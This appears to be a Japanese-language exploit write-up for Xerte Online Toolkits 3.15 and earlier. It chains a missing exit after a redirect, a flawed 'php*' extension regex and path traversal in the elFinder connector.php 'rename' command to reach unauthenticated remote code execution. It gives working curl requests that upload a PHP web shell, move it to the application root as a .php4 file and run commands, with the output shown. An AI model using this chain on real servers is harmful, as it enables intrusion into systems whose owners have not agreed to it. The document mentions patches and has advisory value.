
認証不要のXerte Online Toolkitsエクスプロイト。有効なユーザー名を知っている必要があります。
Xerte Online Toolkits バージョン 3.15 以前には、/editor/elfinder/php/connector.php コンポーネントに 3 つの脆弱性が存在し、認証されていない攻撃者がこれらを連鎖させてリモートコード実行 (RCE) を達成する可能性があります。
Xerte Online Toolkits <= 3.15
バックポートされたパッチがバージョン 3.15、3.14、および 3.13 に適用されています。
認証されていないユーザーは、/editor/elfinder/php/connector.php のコネクタコンポーネントにリクエストを送信できます。
以下のコードがアクセス制御として使用されています。
ファイル: /editor/elfinder/php/connector.php 行番号: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
これにより認証されていないユーザーはリダイレクトされ、認証されていないリクエストの応答を受信できなくなりますが、セッションは終了せず、後続のコードは引き続き実行されます。
*攻撃者は移動させたいファイルのファイル名を知っている必要があります
攻撃者は、connector.php エンドポイントへの "rename" リクエストの "name" パラメータを操作できます。これにより、攻撃者は既存のディレクトリを使用して、ユーザーのメディアディレクトリの外部にファイルを移動できます。
connector.php のファイル拡張子フィルタの正規表現の誤りのため、攻撃者は Xerte の同じバージョンに存在するパストラバーサル脆弱性を連鎖させ、悪意のある PHP コードを含むファイルを .php4 拡張子でアプリケーションルートに移動できます。
ファイル: /editor/elfinder/php/connector.php 行番号: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
php* 正規表現は直前の文字のみに一致します。したがって、"ph"、"php"、"phppp" などに一致します。
認証が有効な場合(Xerte のデフォルト設定ではありません)、攻撃者は有効なユーザーのユーザー名を知っている(またはブルートフォースで取得する)必要があります。ゲスト認証が使用されている場合(デフォルト)、ターゲットのプロジェクトディレクトリは単に 1--Nottingham になります。
認証されていない攻撃者は、ディレクトリ "example_dir" を作成し、悪意のある PHP コードを含む "file.txt" ファイルを USER-FILES/ 配下の任意のプロジェクトディレクトリにアップロードできます。
その後、Xerte に存在する相対パストラバーサルおよび許可されない入力の不完全なリストの脆弱性を利用して、アップロードしたファイル名を "example_dir/../../../../file.php4" に変更することでパストラバーサルを実行し、file.txt を "file.php4" としてアプリケーションルートに移動させ、攻撃者にリモートコード実行を許します。
curl 'http://localhost/xt/setup'
リクエストパラメータ: uploadDir: アプリケーションルート + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: プロジェクトディレクトリへの URL cmd: mkdir name: 新しいディレクトリの名前 target: media/ ディレクトリの elfinder ID。これは elfinder ルートであるため、常に "l1_Lw" になります。
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*ペイロード内の
タグは、elfinder の MIME タイプフィルタが PHP コードを検出するのを防ぎます。
リクエストパラメータ: uploadDir: アプリケーションルート + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: プロジェクトディレクトリへの URL cmd: upload target: media/ ディレクトリの elfinder ID。これは elfinder ルートであるため、常に "l1_Lw" になります。 upload[]: アップロードされるファイル。
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
パディングを必ず削除してください。この場合、削除するのは "=" だけです。
ボリューム識別子を追加します。これは常に "l1" です("/" に対応)。
結果: l1_ZmlsZS50eHQ
リクエストパラメータ:
uploadDir: アプリケーションルート + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: プロジェクトディレクトリへの URL
cmd: rename
name: ディレクトリ名、パストラバーサルシーケンス、および .php4 拡張子を持つ新しいファイル名
target: 新しいファイルから生成した elfinder ID l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
リクエストパラメータ: cmd: 実行するコマンド
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)